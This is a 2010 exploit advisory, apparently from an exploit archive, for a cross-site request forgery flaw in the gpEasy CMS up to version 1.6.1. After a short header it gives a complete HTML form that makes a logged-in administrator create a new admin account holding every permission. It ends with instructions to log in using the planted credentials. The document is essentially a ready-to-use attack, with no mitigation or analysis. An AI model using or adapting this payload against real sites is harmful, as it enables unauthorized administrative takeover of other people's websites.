gpEasy <= 1.6.1 CSRF Remote Add Admin Exploit

============================================= gpEasy &#60;= 1.6.1 CSRF Remote Add Admin Exploit ============================================= Author : Giuseppe &#39;giudinvx&#39; D&#39;Inverno Email : &#60;giudinvx[at]gmail[dot]com&#62; Date : 04-29-2010 Site : http://www.giudinvx.altervista.org/ Location : Naples, Italy -------------------------------------------------------- Application Info Site : http://www.gpeasy.com/ Version: 1.6.1 -------------------------------------------------------- ==============[[ -Exploit Code- ]]============== &#60;html&#62; &#60;form method=&#34;post&#34; action=&#34;[patth]/index.php/Admin_Users&#34;&#62; &#60;input type=&#34;text&#34; value=&#34;xxx&#34; name=&#34;username&#34;&#62;&#60;br/&#62; &#60;input type=&#34;password&#34; value=&#34;xxx&#34; name=&#34;password&#34;&#62;&#60;br/&#62; &#60;input type=&#34;password&#34; value=&#34;xxx&#34; name=&#34;password1&#34;&#62;&#60;br/&#62; &#60;input type=&#34;text&#34; value=&#34;xxx&#34; name=&#34;email&#34;&#62;&#60;br/&#62; &#60;input value=&#34;Admin_Menu&#34; type=&#34;hidden&#34; name=&#34;grant[]&#34;&#62; &#60;input value=&#34;Admin_Uploaded&#34; type=&#34;hidden&#34; name=&#34;grant[]&#34;&#62; &#60;input value=&#34;Admin_Extra&#34; type=&#34;hidden&#34; name=&#34;grant[]&#34;&#62; &#60;input value=&#34;Admin_Theme&#34; type=&#34;hidden&#34; name=&#34;grant[]&#34;&#62; &#60;input value=&#34;Admin_Users&#34; type=&#34;hidden&#34; name=&#34;grant[]&#34;&#62; &#60;input value=&#34;Admin_Configuration&#34; type=&#34;hidden&#34; name=&#34;grant[]&#34;&#62; &#60;input value=&#34;Admin_Trash&#34; type=&#34;hidden&#34; name=&#34;grant[]&#34;&#62; &#60;input value=&#34;Admin_Uninstall&#34; type=&#34;hidden&#34; name=&#34;grant[]&#34;&#62; &#60;input value=&#34;Admin_Addons&#34; type=&#34;hidden&#34; name=&#34;grant[]&#34;&#62; &#60;input value=&#34;Admin_New&#34; type=&#34;hidden&#34; name=&#34;grant[]&#34;&#62; &#60;input value=&#34;Admin_Theme_Content&#34; type=&#34;hidden&#34; name=&#34;grant[]&#34;&#62; &#60;input type=&#34;hidden&#34; value=&#34;newuser&#34; name=&#34;cmd&#34;&#62; &#60;input type=&#34;submit&#34; value=&#34;Continue&#34; name=&#34;aaa&#34; class=&#34;submit&#34;&#62; &#60;/form&#62; &#60;/html&#62; # Now you have an Admin user with name: xxx and password: xxx, just login page [path]/index.php/Admin